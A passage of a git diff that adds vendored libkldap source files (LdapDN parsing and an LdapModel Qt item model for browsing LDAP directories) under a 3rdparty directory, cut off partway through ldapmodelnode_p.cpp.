KLDAP_SASL_ERROR -0xff + +#endif //KLDAP_DEFS_H diff --git a/3rdparty/kldap/src/ldapdn.cpp b/3rdparty/kldap/src/ldapdn.cpp new file mode 100644 index 0000000..71e4b9b --- /dev/null +++ b/3rdparty/kldap/src/ldapdn.cpp @@ -0,0 +1,210 @@ +/* + This file is part of libkldap. + Copyright (c) 2006 Sean Harmer + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Library General Public + License as published by the Free Software Foundation; either + version 2 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Library General Public License for more details. + + You should have received a copy of the GNU Library General Public License + along with this library; see the file COPYING.LIB. If not, write to + the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, + Boston, MA 02110-1301, USA. +*/ + +#include "ldapdn.h" + +#include + +#include "ldap_debug.h" + +using namespace KLDAP; + +class Q_DECL_HIDDEN LdapDN::LdapDNPrivate +{ +public: + LdapDNPrivate() : m_dn() {} + ~LdapDNPrivate() {} + + bool isValidRDNString(const QString &rdn) const; + QStringList splitOnNonEscapedChar(const QString &rdn, QChar ch) const; + + QString m_dn; +}; + +bool LdapDN::LdapDNPrivate::isValidRDNString(const QString &rdn) const +{ + qCDebug(LDAP_LOG) << "Testing rdn:" << rdn; + + // If it is a muli-valued rdn, split it into its constituent parts + const QStringList rdnParts = splitOnNonEscapedChar(rdn, QLatin1Char('+')); + const int rdnPartsSize(rdnParts.size()); + if (rdnPartsSize > 1) { + for (int i = 0; i < rdnPartsSize; i++) { + if (!isValidRDNString(rdnParts.at(i))) { + return false; + } + } + return true; + } + + // Split the rdn into the attribute name and value parts + const QVector components = rdn.splitRef(QLatin1Char('=')); + + // We should have exactly two parts + if (components.size() != 2) { + return false; + } + + return true; +} + +QStringList LdapDN::LdapDNPrivate::splitOnNonEscapedChar(const QString &str, QChar ch) const +{ + QStringList strParts; + int index = 0; + int searchFrom = 0; + int strPartStartIndex = 0; + while ((index = str.indexOf(ch, searchFrom)) != -1) { + const QChar prev = str[std::max(0, index - 1)]; + if (prev != QLatin1Char('\\')) { + // Found a component of a multi-valued RDN + //qCDebug(LDAP_LOG) << "Found" << ch << "at index" << index; + QString tmp = str.mid(strPartStartIndex, index - strPartStartIndex); + //qCDebug(LDAP_LOG) << "Adding part:" << tmp; + strParts.append(tmp); + strPartStartIndex = index + 1; + } + + searchFrom = index + 1; + } + + // Add on the part after the last found delimeter + QString tmp = str.mid(strPartStartIndex); + //qCDebug(LDAP_LOG) << "Adding part:" << tmp; + strParts.append(tmp); + + return strParts; +} + +LdapDN::LdapDN() + : d(new LdapDNPrivate) +{ + +} + +LdapDN::LdapDN(const QString &dn) + : d(new LdapDNPrivate) +{ + d->m_dn = dn; +} + +LdapDN::LdapDN(const LdapDN &that) + : d(new LdapDNPrivate) +{ + *d = *that.d; +} + +LdapDN &LdapDN::operator=(const LdapDN &that) +{ + if (this == &that) { + return *this; + } + + *d = *that.d; + return *this; +} + +LdapDN::~LdapDN() +{ + delete d; +} + +void LdapDN::clear() +{ + d->m_dn.clear(); +} + +bool LdapDN::isEmpty() const +{ + return d->m_dn.isEmpty(); +} + +QString LdapDN::toString() const +{ + return d->m_dn; +} + +QString LdapDN::toString(int depth) const +{ + QStringList rdns = d->splitOnNonEscapedChar(d->m_dn, QLatin1Char(',')); + if (depth >= rdns.size()) { + return QString(); + } + + // Construct a DN down to the requested depth + QString dn; + for (int i = depth; i >= 0; i--) { + dn += rdns.at(rdns.size() - 1 - i) + QLatin1Char(','); + qCDebug(LDAP_LOG) << "dn =" << dn; + } + dn.truncate(dn.length() - 1); // Strip off the extraneous comma + + return dn; +} + +QString LdapDN::rdnString() const +{ + /** \TODO We should move this into the d pointer as we calculate rdns quite a lot */ + QStringList rdns = d->splitOnNonEscapedChar(d->m_dn, QLatin1Char(',')); + return rdns.at(0); +} + +QString LdapDN::rdnString(int depth) const +{ + QStringList rdns = d->splitOnNonEscapedChar(d->m_dn, QLatin1Char(',')); + if (depth >= rdns.size()) { + return QString(); + } + return rdns.at(rdns.size() - 1 - depth); +} + +bool LdapDN::isValid() const +{ + qCDebug(LDAP_LOG) << "Testing dn:" << d->m_dn; + + // Break the string into rdn's + const QStringList rdns = d->splitOnNonEscapedChar(d->m_dn, QLatin1Char(',')); + + // Test to see if each rdn is valid + const int rdnsSize(rdns.size()); + for (int i = 0; i < rdnsSize; i++) { + if (!d->isValidRDNString(rdns.at(i))) { + return false; + } + } + + return true; +} + +int LdapDN::depth() const +{ + QStringList rdns = d->splitOnNonEscapedChar(d->m_dn, QLatin1Char(',')); + return rdns.size(); +} + +bool LdapDN::operator == (const LdapDN &rhs) const +{ + return d->m_dn == rhs.d->m_dn; +} + +bool LdapDN::operator != (const LdapDN &rhs) const +{ + return d->m_dn != rhs.d->m_dn; +} diff --git a/3rdparty/kldap/src/ldapdn.h b/3rdparty/kldap/src/ldapdn.h new file mode 100644 index 0000000..0a11b0f --- /dev/null +++ b/3rdparty/kldap/src/ldapdn.h @@ -0,0 +1,88 @@ +/* + This file is part of libkldap. + Copyright (c) 2006 Sean Harmer + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Library General Public + License as published by the Free Software Foundation; either + version 2 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Library General Public License for more details. + + You should have received a copy of the GNU Library General Public License + along with this library; see the file COPYING.LIB. If not, write to + the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, + Boston, MA 02110-1301, USA. +*/ + +#ifndef KLDAP_LDAPDN_H +#define KLDAP_LDAPDN_H + +#include "kldap_export.h" +#include + +namespace KLDAP +{ + +class KLDAP_EXPORT LdapDN +{ +public: + explicit LdapDN(); + explicit LdapDN(const QString &dn); + + LdapDN(const LdapDN &that); + LdapDN &operator=(const LdapDN &that); + + ~LdapDN(); + + void clear(); + + bool isEmpty() const; + + /** + * \returns A QString representing the DN. + */ + Q_REQUIRED_RESULT QString toString() const; + + /** + * \param depth The depth of the DN to return using a zero-based index. + * \returns A QString representing the DN levels deep in the directory. + */ + Q_REQUIRED_RESULT QString toString(int depth) const; + + /** + * \returns A QString representing the RDN of this DN. + */ + Q_REQUIRED_RESULT QString rdnString() const; + + /** + * \param depth The depth of the RDN to return using a zero-based index. + * \returns A QString representing the RDN levels deep in the directory. + */ + Q_REQUIRED_RESULT QString rdnString(int depth) const; + + /** + * \returns True if this is a valid DN, false otherwise. + */ + Q_REQUIRED_RESULT bool isValid() const; + + /** + * \returns The depth of this DN in the directory. + */ + Q_REQUIRED_RESULT int depth() const; + + Q_REQUIRED_RESULT bool operator == (const LdapDN &rhs) const; + + Q_REQUIRED_RESULT bool operator != (const LdapDN &rhs) const; + +private: + class LdapDNPrivate; + LdapDNPrivate *const d; +}; + +} + +#endif diff --git a/3rdparty/kldap/src/ldapmodel.cpp b/3rdparty/kldap/src/ldapmodel.cpp new file mode 100644 index 0000000..4fa5edc --- /dev/null +++ b/3rdparty/kldap/src/ldapmodel.cpp @@ -0,0 +1,319 @@ +/* + This file is part of libkldap. + Copyright (c) 2006 Sean Harmer + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Library General Public + License as published by the Free Software Foundation; either + version 2 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Library General Public License for more details. + + You should have received a copy of the GNU Library General Public License + along with this library; see the file COPYING.LIB. If not, write to + the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, + Boston, MA 02110-1301, USA. +*/ + +#include "ldapmodel.h" +#include "ldapmodel_p.h" +#include "ldapmodelnode_p.h" +#include "ldapsearch.h" + +#include "ldap_debug.h" +#include + +using namespace KLDAP; + +LdapModel::LdapModel(QObject *parent) + : QAbstractItemModel(parent), + m_d(new LdapModelPrivate(this)) +{ + m_d->createConnections(); +} + +LdapModel::LdapModel(LdapConnection &connection, QObject *parent) + : QAbstractItemModel(parent), + m_d(new LdapModelPrivate(this, connection)) +{ + m_d->createConnections(); + + // Populate items from the root object to that representing the baseDN + m_d->populateRootToBaseDN(); +} + +LdapModel::~LdapModel() +{ + delete m_d; +} + +void LdapModel::setConnection(LdapConnection &connection) +{ + m_d->setConnection(connection); + + // Refresh the model + m_d->recreateRootItem(); + + // Populate the root object by searching the baseDN + m_d->populateRootToBaseDN(); +} + +QModelIndex LdapModel::parent(const QModelIndex &child) const +{ + if (!child.isValid()) { + return QModelIndex(); + } + + LdapModelNode *childItem = static_cast(child.internalPointer()); + LdapModelDNNode *parentItem = childItem->parent(); + + if (parentItem == m_d->rootNode()) { + return QModelIndex(); + } + + return createIndex(parentItem->row(), 0, parentItem); +} + +QModelIndex LdapModel::index(int row, int col, const QModelIndex &parent) const +{ + // Retrieve a pointer to the parent item + LdapModelDNNode *parentItem = nullptr; + if (!parent.isValid()) { + parentItem = m_d->rootNode(); + } else { + parentItem = static_cast(parent.internalPointer()); + } + + LdapModelNode *childItem = parentItem->child(row); + if (childItem) { + return createIndex(row, col, childItem); + } + qCDebug(LDAP_LOG) << "Could not create valid index for row =" << row << ", col =" << col; + return QModelIndex(); +} + +QVariant LdapModel::data(const QModelIndex &index, int role) const +{ + if (!index.isValid()) { + return QVariant(); + } + + if (role == Qt::DisplayRole) { + // This is what gets displayed by the view delegates. + LdapModelNode *node = static_cast(index.internalPointer()); + if (node->nodeType() == LdapModelNode::DN) { + LdapModelDNNode *dn = static_cast(node); + if (index.column() == 0) { + return dn->dn().rdnString(); + } else { + return QVariant(); + } + } else { + LdapModelAttrNode *attr = static_cast(node); + if (index.column() == 0) { + return QVariant(attr->attributeName()); + } else { + return QVariant(QLatin1String(attr->attributeData().constData())); + } + } + } else if (role == NodeTypeRole) { + LdapModelNode *node = static_cast(index.internalPointer()); + return QVariant(int(node->nodeType())); + } + + /** \todo Include support for nice decorative icons dependent upon + the objectClass + other role data. */ + /** \todo Include support for other roles as needed */ + + return QVariant(); +} + +bool LdapModel::setData(const QModelIndex &index, + const QVariant &value, + int role) +{ + Q_UNUSED(index); + Q_UNUSED(value); + Q_UNUSED(role); + return false; +} + +QVariant LdapModel::headerData(int section, Qt::Orientation orientation, int role) const +{ + if (orientation == Qt::Horizontal && role == Qt::DisplayRole) { + if (section == 0) { + return i18n("Attribute"); + } else { + return i18n("Value"); + } + } + + return QVariant(); +} + +Qt::ItemFlags LdapModel::flags(const QModelIndex &index) const +{ + /** \TODO Read-only for now, make read-write upon request */ + if (!index.isValid()) { + return Qt::ItemIsEnabled; + } + + return Qt::ItemFlags(Qt::ItemIsEnabled | Qt::ItemIsSelectable); +} + +int LdapModel::columnCount(const QModelIndex &parent) const +{ + LdapModelDNNode *parentNode = + parent.isValid() ? static_cast(parent.internalPointer()) : m_d->rootNode(); + return parentNode->columnCount(); +} + +int LdapModel::rowCount(const QModelIndex &parent) const +{ + if (parent.column() > 0) { + return 0; + } + + const LdapModelDNNode *parentNode = + parent.isValid() ? static_cast(parent.internalPointer()) : m_d->rootNode(); + return parentNode->childCount(); +} + +bool LdapModel::hasChildren(const QModelIndex &parent) const +{ + // We return true unless the item has been populated and we are able to do a definitive test + const LdapModelNode *node = parent.isValid() ? + static_cast(parent.internalPointer()) : + m_d->rootNode(); + + if (node->nodeType() != LdapModelNode::DN) { + return false; + } + + const LdapModelDNNode *parentNode = static_cast(node); + if (!parent.isValid() || parentNode->isPopulated()) { + return parentNode->childCount() > 0; + } + return true; +} + +bool LdapModel::canFetchMore(const QModelIndex &parent) const +{ + const LdapModelDNNode *parentNode = + parent.isValid() ? static_cast(parent.internalPointer()) : m_d->rootNode(); + return !parentNode->isPopulated(); +} + +void LdapModel::fetchMore(const QModelIndex &parent) +{ + LdapModelDNNode *parentNode = + parent.isValid() ? static_cast(parent.internalPointer()) : m_d->rootNode(); + + // Search for the immediate children of parentItem. + m_d->searchResults().clear(); + m_d->setSearchType(LdapModelPrivate::ChildObjects, parentNode); + m_d->search(parentNode->dn(), // DN to search from + LdapUrl::One, // What to search + QString()); // Attributes to retrieve + parentNode->setPopulated(true); +} + +bool LdapModel::insertRows(int row, int count, + const QModelIndex &parent) +{ + Q_UNUSED(row); + Q_UNUSED(count); + Q_UNUSED(parent); + return false; +} + +bool LdapModel::removeRows(int row, int count, + const QModelIndex &parent) +{ + Q_UNUSED(row); + Q_UNUSED(count); + Q_UNUSED(parent); + return false; +} + +void LdapModel::sort(int column, Qt::SortOrder order) +{ + Q_UNUSED(column); + Q_UNUSED(order); +} + +Qt::DropActions LdapModel::supportedDropActions() const +{ + return Qt::MoveAction; +} + +QMimeData *LdapModel::mimeData(const QModelIndexList &indexes) const +{ + Q_UNUSED(indexes); + return nullptr; +} + +bool LdapModel::dropMimeData(const QMimeData *data, Qt::DropAction action, + int row, int column, const QModelIndex &parent) +{ + /** \todo Implement drag and drop for LdapModel */ + Q_UNUSED(data); + Q_UNUSED(action); + Q_UNUSED(row); + Q_UNUSED(column); + Q_UNUSED(parent); + return false; +} + +bool LdapModel::hasChildrenOfType(const QModelIndex &parent, LdapDataType type) const +{ + // Map from LdapDataType to our internal NodeType + LdapModelNode::NodeType nodeType; + switch (type) { + case Attribute: + nodeType = LdapModelNode::Attr; + break; + + case DistinguishedName: + default: + nodeType = LdapModelNode::DN; + break; + } + + const LdapModelNode *node = parent.isValid() ? + static_cast(parent.internalPointer()) : + m_d->rootNode(); + + const LdapModelDNNode *parentNode = static_cast(node); + if (!parent.isValid() || parentNode->isPopulated()) { + // Check to see if the parent has any children of the specified type + const QList &children = parentNode->children(); + for (LdapModelNode *child : children) { + if (child->nodeType() == nodeType) { + return true; + } + } + + // Either there are no children or only children of a different type + return false; + } + + // If the node is not populated or is the root node (invalid), then return + // true to be on the safe side. + return true; +} + +void LdapModel::revert() +{ + +} + +bool LdapModel::submit() +{ + return false; +} + +#include "moc_ldapmodel.cpp" diff --git a/3rdparty/kldap/src/ldapmodel.h b/3rdparty/kldap/src/ldapmodel.h new file mode 100644 index 0000000..10c5d2b --- /dev/null +++ b/3rdparty/kldap/src/ldapmodel.h @@ -0,0 +1,214 @@ +/* + This file is part of libkldap. + Copyright (c) 2006 Sean Harmer + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Library General Public + License as published by the Free Software Foundation; either + version 2 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Library General Public License for more details. + + You should have received a copy of the GNU Library General Public License + along with this library; see the file COPYING.LIB. If not, write to + the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, + Boston, MA 02110-1301, USA. +*/ + +#ifndef KLDAP_LDAPMODEL_H +#define KLDAP_LDAPMODEL_H + +#include + +#include "ldapconnection.h" +#include "ldapobject.h" +#include "kldap_export.h" + +namespace KLDAP +{ + +/** + * A ModelView interface to an LDAP tree. At present the model is read only. Editing is + * planned for a future release. + * + * This class is best used in conjunction with an LdapStructureProxyModel object for + * displaying the structure of an LDAP tree, and with LdapAttributeProxyModel for + * displaying the attributes of particular objects within the tree. + * + * \author Sean Harmer + */ +class KLDAP_EXPORT LdapModel : public QAbstractItemModel +{ + Q_OBJECT +public: + enum Roles { + NodeTypeRole = Qt::UserRole + 1 + }; + + enum LdapDataType { + DistinguishedName = 0, + Attribute + }; + + /** + * Constructs an LdapModel. You should set a connection for the model to use with + * setConnection(). Clients of this class should connect a slot to the ready() signal + * before setting this model onto a view. + * @param parent the parent QObject + * \see setConnection() + * \see ready() + */ + explicit LdapModel(QObject *parent = nullptr); + /** + * Constructs an LdapModel. Clients of this class should connect a slot to the ready() + * signal before setting this model onto a view. + * @param connection the Ldap connection to use in model construction + * @param parent the parent QObject + * \see setConnection() + * \see ready() + */ + explicit LdapModel(LdapConnection &connection, QObject *parent = nullptr); + ~LdapModel() override; + + /** + * Set the connection that the model should use. + * @param connection the model connection to set + * \see LdapConnection + * \see LdapUrl + */ + void setConnection(LdapConnection &connection); + + // + // Implement the usual QAbstractItemModel interface + // + /** + * Reimplemented from QAbstractItemModel::index(). + */ + Q_REQUIRED_RESULT QModelIndex index(int row, int col, const QModelIndex &parent) const override; + /** + * Reimplemented from QAbstractItemModel::parent(). + */ + Q_REQUIRED_RESULT QModelIndex parent(const QModelIndex &child) const override; + /** + * Reimplemented from QAbstractItemModel::data(). + */ + Q_REQUIRED_RESULT QVariant data(const QModelIndex &index, int role) const override; + /** + * Reimplemented from QAbstractItemModel::setData(). This is a placeholder for when + * LdapModel beomes writeable and always returns false. + */ + Q_REQUIRED_RESULT bool setData(const QModelIndex &index, + const QVariant &value, + int role = Qt::EditRole) override; + /** + * Reimplemented from QAbstractItemModel::headerData(). + */ + Q_REQUIRED_RESULT QVariant headerData(int section, Qt::Orientation orientation, int role) const override; + /** + * Reimplemented from QAbstractItemModel::flags(). + */ + Q_REQUIRED_RESULT Qt::ItemFlags flags(const QModelIndex &index) const override; + /** + * Reimplemented from QAbstractItemModel::columnCount(). + */ + Q_REQUIRED_RESULT int columnCount(const QModelIndex &parent) const override; + /** + * Reimplemented from QAbstractItemModel::rowCount(). + */ + Q_REQUIRED_RESULT int rowCount(const QModelIndex &parent) const override; + /** + * Reimplemented from QAbstractItemModel::hasChildren(). + */ + Q_REQUIRED_RESULT bool hasChildren(const QModelIndex &parent) const override; + /** + * Reimplemented from QAbstractItemModel::canFetchMore(). + */ + Q_REQUIRED_RESULT bool canFetchMore(const QModelIndex &parent) const override; + /** + * Reimplemented from QAbstractItemModel::fetchMore(). + */ + void fetchMore(const QModelIndex &parent) override; + /** + * Reimplemented from QAbstractItemModel::insertRows(). This is a placeholder for when + * LdapModel beomes writeable and always returns false. + */ + Q_REQUIRED_RESULT bool insertRows(int row, int count, + const QModelIndex &parent = QModelIndex()) override; + /** + * Reimplemented from QAbstractItemModel::removeRows(). This is a placeholder for when + * LdapModel beomes writeable and always returns false. + */ + Q_REQUIRED_RESULT bool removeRows(int row, int count, + const QModelIndex &parent = QModelIndex()) override; + /** + * Reimplemented from QAbstractItemModel::removeRows(). The default implementation + * does nothing. + */ + void sort(int column, Qt::SortOrder order = Qt::AscendingOrder) override; + + // + // Drag and drop support + // + /** + * Reimplemented from QAbstractItemModel::supportedDropActions(). The default + * implementation returns Qt::MoveAction. + */ + Q_REQUIRED_RESULT Qt::DropActions supportedDropActions() const override; + /** + * Reimplemented from QAbstractItemModel::mimedata(). This is a placeholder for when + * LdapModel beomes writeable and always returns 0. + */ + QMimeData *mimeData(const QModelIndexList &indexes) const override; + /** + * Reimplemented from QAbstractItemModel::dropMimedata(). This is a placeholder for when + * LdapModel beomes writeable and always returns false. + */ + Q_REQUIRED_RESULT bool dropMimeData(const QMimeData *data, Qt::DropAction action, + int row, int column, const QModelIndex &parent) override; + + // + // Other public utility functions + // + /** + * Checks to see if the item referenced by \p parent has any children of + * the type \p type. If the item has not been populated by fetchMore() yet, + * then this function returns true. + * + * \see fetchMore() + * \param parent Index to the item to query. + * \param type The type of child item to search for. + */ + bool hasChildrenOfType(const QModelIndex &parent, LdapDataType type) const; + +public Q_SLOTS: + /** + * Reimplemented from QAbstractItemModel::revert(). This is a placeholder for when + * LdapModel beomes writeable. This implementation does nothing. + */ + void revert() override; + /** + * Reimplemented from QAbstractItemModel::revert(). This is a placeholder for when + * LdapModel beomes writeable. This implementation does nothing and returns false. + */ + bool submit() override; + +Q_SIGNALS: + /** + * The ready() signal is emitted when the model is ready for use by other components. + * When the model is first created and a connection is set, the model queries the + * LDAP server for its base DN and automatically creates items down to that level. + * This requires the event loop to be running. This signal indicates that this process + * has completed and the model can now be set onto views or queried directly from code. + */ + void ready(); + +private: + class LdapModelPrivate; + LdapModelPrivate *const m_d; +}; + +} +#endif diff --git a/3rdparty/kldap/src/ldapmodel_p.cpp b/3rdparty/kldap/src/ldapmodel_p.cpp new file mode 100644 index 0000000..77d6423 --- /dev/null +++ b/3rdparty/kldap/src/ldapmodel_p.cpp @@ -0,0 +1,210 @@ +/* + This file is part of libkldap. + Copyright (c) 2006 Sean Harmer + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Library General Public + License as published by the Free Software Foundation; either + version 2 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Library General Public License for more details. + + You should have received a copy of the GNU Library General Public License + along with this library; see the file COPYING.LIB. If not, write to + the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, + Boston, MA 02110-1301, USA. +*/ + +#include "ldapmodel_p.h" +#include "ldapmodelnode_p.h" +#include "ldapsearch.h" + +#include "ldap_debug.h" + +using namespace KLDAP; + +LdapModel::LdapModelPrivate::LdapModelPrivate(LdapModel *parent) + : m_parent(parent), + m_root(new LdapModelDNNode), + m_search(new LdapSearch), + m_searchResultObjects(), + m_baseDN(), + m_searchType(NotSearching), + m_searchItem(nullptr) +{ +} + +LdapModel::LdapModelPrivate::LdapModelPrivate(LdapModel *parent, LdapConnection &connection) + : m_parent(parent), + m_root(new LdapModelDNNode), + m_search(new LdapSearch(connection)), + m_searchResultObjects(), + m_baseDN(), + m_searchType(NotSearching), + m_searchItem(nullptr) +{ +} + +LdapModel::LdapModelPrivate::~LdapModelPrivate() +{ + delete m_root; + + delete m_search; +} + +void LdapModel::LdapModelPrivate::setConnection(LdapConnection &connection) +{ + m_search->setConnection(connection); +} + +bool LdapModel::LdapModelPrivate::search(const LdapDN &searchBase, + LdapUrl::Scope scope, + const QString &filter, + const QStringList &attributes, + int pagesize) +{ + return m_search->search(searchBase, scope, filter, attributes, pagesize); +} + +void LdapModel::LdapModelPrivate::setSearchType(SearchType t, LdapModelDNNode *item) +{ + //qCDebug(LDAP_LOG) << "item =" << item; + m_searchType = t; + m_searchItem = item; +} + +void LdapModel::LdapModelPrivate::recreateRootItem() +{ + //qCDebug(LDAP_LOG); + delete m_root; + m_root = new LdapModelDNNode; + //qCDebug(LDAP_LOG) << "&m_root =" << &m_root; +} + +void LdapModel::LdapModelPrivate::createConnections() +{ + connect(search(), &LdapSearch::data, m_parent, [this](KLDAP::LdapSearch *s, const KLDAP::LdapObject &obj) {gotSearchData(s, obj); }); + connect(search(), &LdapSearch::result, m_parent, [this](KLDAP::LdapSearch *s) { gotSearchResult(s); }); +} + +void LdapModel::LdapModelPrivate::populateRootToBaseDN() +{ + //qCDebug(LDAP_LOG); + + if (baseDN().isEmpty()) { + // Query the server for the base DN + //qCDebug(LDAP_LOG) << "Searching for the baseDN"; + setSearchType(LdapModelPrivate::NamingContexts, rootNode()); + search(LdapDN(), LdapUrl::Base, QString(), QStringList() << QStringLiteral("namingContexts")); + return; + } + + // Start a search for the details of the baseDN object + //qCDebug(LDAP_LOG) << "Searching for attributes of the baseDN"; + searchResults().clear(); + setSearchType(LdapModelPrivate::BaseDN, rootNode()); + search(baseDN(), LdapUrl::Base, QString(), QStringList() << QStringLiteral("dn") << QStringLiteral("objectClass")); +} + +void LdapModel::LdapModelPrivate::gotSearchResult(KLDAP::LdapSearch *search) +{ + Q_UNUSED(search); + qCDebug(LDAP_LOG); + + switch (searchType()) { + case LdapModelPrivate::NamingContexts: { + // Set the baseDN + QString baseDN; + if (!searchResults().isEmpty() && + searchResults().at(0).hasAttribute(QStringLiteral("namingContexts"))) { + baseDN = QString::fromLatin1(searchResults().at(0).value(QStringLiteral("namingContexts"))); + //qCDebug(LDAP_LOG) << "Found baseDN =" << baseDN; + } + setBaseDN(LdapDN(baseDN)); + + // Flag that we are no longer searching for the baseDN + setSearchType(LdapModelPrivate::NotSearching); + + // Populate the root item + populateRootToBaseDN(); + + break; + } + case LdapModelPrivate::BaseDN: { + //qCDebug(LDAP_LOG) << "Found details of the baseDN object." + // << "Creating objects down to this level."; + + // Get the baseDN LdapObject + LdapObject baseDNObj = searchResults().at(0); + + // How many levels of items do we need to create? + int depth = baseDNObj.dn().depth(); + + // Create items that represent objects down to the baseDN + LdapModelDNNode *parent = rootNode(); + LdapModelDNNode *item = nullptr; + for (int i = 0; i < depth; ++i) { + QString dn = baseDN().toString(i); + qCDebug(LDAP_LOG) << "Creating item for DN :" << dn; + + //LdapObject obj( dn ); + item = new LdapModelDNNode(parent, LdapDN(dn)); + parent = item; + } + + // Store the search result + if (item) { + item->setLdapObject(baseDNObj); + } + + // Flag that we are no longer searching + setSearchType(LdapModelPrivate::NotSearching); + //emit( layoutChanged() ); + + // Let the world know we are ready for action + Q_EMIT m_parent->ready(); + + break; + } + case LdapModelPrivate::ChildObjects: { + //qCDebug(LDAP_LOG) << "Found" << searchResults().size() << "child objects"; + + if (searchResults().size() != 0) { + // Create an index for the soon-to-be-a-parent item + LdapModelDNNode *parentNode = searchItem(); + int r = parentNode->row(); + QModelIndex parentIndex = m_parent->createIndex(r, 0, parentNode); + + m_parent->beginInsertRows(parentIndex, 0, searchResults().size()); + for (int i = 0; i < searchResults().size(); i++) { + LdapObject object = searchResults().at(i); + LdapModelDNNode *item = new LdapModelDNNode(parentNode, object.dn()); + item->setLdapObject(object); + } + + m_parent->endInsertRows(); + Q_EMIT m_parent->layoutChanged(); + } + + // Flag that we are no longer searching + setSearchType(LdapModelPrivate::NotSearching); + + break; + } + default: + break; + } +} + +void LdapModel::LdapModelPrivate::gotSearchData(KLDAP::LdapSearch *search, + const KLDAP::LdapObject &obj) +{ + Q_UNUSED(search); + //qCDebug(LDAP_LOG); + //qCDebug(LDAP_LOG) << "Object:"; + //qCDebug(LDAP_LOG) << obj.toString(); + searchResults().append(obj); +} diff --git a/3rdparty/kldap/src/ldapmodel_p.h b/3rdparty/kldap/src/ldapmodel_p.h new file mode 100644 index 0000000..ce048cc --- /dev/null +++ b/3rdparty/kldap/src/ldapmodel_p.h @@ -0,0 +1,121 @@ +/* + This file is part of libkldap. + Copyright (c) 2006 Sean Harmer + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Library General Public + License as published by the Free Software Foundation; either + version 2 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Library General Public License for more details. + + You should have received a copy of the GNU Library General Public License + along with this library; see the file COPYING.LIB. If not, write to + the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, + Boston, MA 02110-1301, USA. +*/ + +#ifndef KLDAP_LDAPMODELPRIVATE_H +#define KLDAP_LDAPMODELPRIVATE_H + +#include "ldapconnection.h" +#include "ldapdn.h" +#include "ldapmodel.h" +#include "ldapobject.h" + +namespace KLDAP +{ + +class LdapModelDNNode; +class LdapSearch; + +/** + * @internal + */ +class Q_DECL_HIDDEN LdapModel::LdapModelPrivate +{ +public: + enum SearchType { + NotSearching = 0, + NamingContexts, + BaseDN, + ChildObjects + }; + + explicit LdapModelPrivate(LdapModel *parent); + explicit LdapModelPrivate(LdapModel *parent, LdapConnection &connection); + + ~LdapModelPrivate(); + + void setConnection(LdapConnection &connection); + + bool search(const LdapDN &searchBase, + LdapUrl::Scope scope = LdapUrl::Sub, + const QString &filter = QString(), + const QStringList &attributes = QStringList(), + int pagesize = 0); + + LdapModelDNNode *rootNode() + { + return m_root; + } + LdapSearch *search() + { + return m_search; + } + + LdapObjects &searchResults() + { + return m_searchResultObjects; + } + const LdapObjects &searchResults() const + { + return m_searchResultObjects; + } + + void recreateRootItem(); + + void setBaseDN(const LdapDN &baseDN) + { + m_baseDN = baseDN; + } + LdapDN &baseDN() + { + return m_baseDN; + } + const LdapDN &baseDN() const + { + return m_baseDN; + } + + void setSearchType(SearchType t, LdapModelDNNode *item = nullptr); + + Q_REQUIRED_RESULT SearchType searchType() + { + return m_searchType; + } + LdapModelDNNode *searchItem() + { + return m_searchItem; + } + + void createConnections(); + void populateRootToBaseDN(); + void gotSearchResult(KLDAP::LdapSearch *search); + void gotSearchData(KLDAP::LdapSearch *search, const KLDAP::LdapObject &obj); + +private: + LdapModel *m_parent = nullptr; + LdapModelDNNode *m_root = nullptr; + LdapSearch *m_search = nullptr; + LdapObjects m_searchResultObjects; + LdapDN m_baseDN; + SearchType m_searchType; + LdapModelDNNode *m_searchItem = nullptr; +}; + +} +#endif diff --git a/3rdparty/kldap/src/ldapmodelnode_p.cpp b/3rdparty/kldap/src/ldapmodelnode_p.cpp new file mode 100644 index 0000000..7a4fd25 --- /dev/null +++ b/3rdparty/kldap/src/ldapmodelnode_p.cpp @@ -0,0 +1,132 @@ +/* + This file is part of libkldap. + Copyright (c) 2006 Sean Harmer + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Library General Public + License as published by the Free Software Foundation; either + version 2 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Library General Public License for more details. + + You should have received a copy of the GNU Library General Public License + along with this library; see the file COPYING.LIB. If not, write to + the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, + Boston, MA 02110-1301, USA. +*/ + +#include "ldapmodelnode_p.h" + +#include "ldap_debug.h" + +using namespace KLDAP; + +LdapModelNode::LdapModelNode(LdapModelDNNode *parent) + : m_parent(parent), + m_isPopulated(false) +{ + if (m_parent) { + m_parent->appendChild(this); + } +} + 